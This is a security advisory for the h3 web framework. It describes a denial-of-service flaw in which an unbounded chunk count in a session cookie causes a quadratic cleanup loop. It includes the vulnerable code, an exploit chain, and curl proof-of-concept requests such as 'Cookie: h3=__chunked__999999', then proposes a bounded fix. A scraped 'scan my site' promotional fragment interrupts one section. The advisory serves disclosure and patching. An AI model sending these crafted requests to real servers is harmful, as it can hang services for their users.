| Package | Affected versions | Patched versions |
|---|---|---|
| h3 | ≥ 2.0.0-beta.4, < 2.0.1-rc.18 | 2.0.1-rc.18 |
The setChunkedCookie() and deleteChunkedCookie() functions in h3 trust the chunk count parsed from a user-controlled cookie value (__chunked__N) without any upper bound validation. An unauthenticated attacker can send a single request with a crafted cookie header (e.g., Cookie: h3=__chunked__999999) to any endpoint using sessions, causing the server to enter an O(n²) loop that hangs the process.
The chunked cookie system stores large cookie values by splitting them into numbered chunks. The main cookie stores a sentinel value __chunked__N indicating how many chunks exist. When setting a new chunked cookie, the code cleans up any previous chunks that are no longer needed.
The vulnerability is in getChunkedCookieCount() at src/utils/cookie.ts:244-249:
function getChunkedCookieCount(cookie: string | undefined): number {
if (!cookie?.startsWith(CHUNKED_COOKIE)) {
return Number.NaN;
}
return Number.parseInt(cookie.slice(CHUNKED_COOKIE.length));
// No upper bound check — attacker controls this value
}
This value is consumed without validation in the cleanup loop of setChunkedCookie() at src/utils/cookie.ts:182-190:
const previousCookie = getCookie(event, name); // reads from request headers
if (previousCookie?.startsWith(CHUNKED_COOKIE)) {
const previousChunkCount = getChunkedCookieCount(previousCookie);
if (previousChunkCount > chunkCount) {
for (let i = chunkCount; i <= previousChunkCount; i++) {
deleteCookie(event, chunkCookieName(name, i), options);
// Each deleteCookie → setCookie → scans ALL existing set-cookie headers
}
}
}
The same issue exists in deleteChunkedCookie() at src/utils/cookie.ts:227-232:
const chunksCount = getChunkedCookieCount(mainCookie);
if (chunksCount >= 0) {
for (let i = 0; i < chunksCount; i++) {
deleteCookie(event, chunkCookieName(name, i + 1), serializeOptions);
}
}
The exploit chain through sessions:
Cookie: h3=__chunked__999999 to any session-using endpointgetSession() (src/utils/session.ts:83) calls getChunkedCookie(event, "h3") (line 124)getChunkedCookie() returns undefined — the early return at line 153 fires because no actual chunk cookies (e.g., ) exist in the requestRunning one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site freeh3.1sealedSession is undefined, session.id remains empty (line 140), triggering updateSession() (line 143)updateSession() calls setChunkedCookie() with the newly sealed session value (line 179)setChunkedCookie(), getCookie(event, name) re-reads the original request cookie __chunked__999999 at line 182previousChunkCount = 999999, chunkCount = 1 (new sealed session is small)deleteCookie() → setCookie()setCookie() call reads ALL existing set-cookie response headers via getSetCookie() (line 91) and iterates through them for deduplication (lines 100-106)Key observation: While getChunkedCookie() has an early-return optimization (line 153) that prevents it from looping on missing chunks, the cleanup loops in setChunkedCookie() and deleteChunkedCookie() have no such protection and run unconditionally for the full claimed chunk count.
Prerequisites: An h3 application with any endpoint using getSession() or useSession().
Example minimal server:
import { H3 } from "h3";
import { getSession } from "h3";
const app = new H3();
app.get("/dashboard", async (event) => {
const session = await getSession(event, {
password: "my-secret-password-at-least-32-chars-long!",
});
return { user: session.data.user || "anonymous" };
});
export default app;
Attack (single request, no authentication):
# This single request will hang the server process
curl -H 'Cookie: h3=__chunked__999999' http://localhost:3000/dashboard
For a less extreme but still impactful test:
# ~100K iterations — will take several seconds and block all other requests
curl -H 'Cookie: h3=__chunked__100000' http://localhost:3000/dashboard
The deleteChunkedCookie() path is exploitable via clearSession():
app.post("/logout", async (event) => {
await clearSession(event, {
password: "my-secret-password-at-least-32-chars-long!",
});
return { ok: true };
});
curl -X POST -H 'Cookie: h3=__chunked__999999' http://localhost:3000/logout
Cookie: h3=__chunked__999999), making it easy to automate or repeat.getSession(), useSession(), or clearSession() is vulnerable. Session usage is extremely common in web applications.Add a maximum chunk count constant and validate in getChunkedCookieCount():
const MAX_CHUNKED_COOKIE_COUNT = 100;
function getChunkedCookieCount(cookie: string | undefined): number {
if (!cookie?.startsWith(CHUNKED_COOKIE)) {
return Number.NaN;
}
const count = Number.parseInt(cookie.slice(CHUNKED_COOKIE.length));
if (Number.isNaN(count) || count < 0 || count > MAX_CHUNKED_COOKIE_COUNT) {
return Number.NaN;
}
return count;
}
This clamps the parsed count at a safe maximum. Since each chunk can hold ~4000 bytes and 100 chunks would allow ~400KB of cookie data (far beyond any practical limit), MAX_CHUNKED_COOKIE_COUNT = 100 is generous while eliminating the DoS vector.
Additionally, the callers should be updated to handle NaN safely. The cleanup loop in setChunkedCookie() already handles this correctly since NaN > chunkCount is false, so the loop won't execute. The deleteChunkedCookie() loop also handles it since NaN >= 0 is false.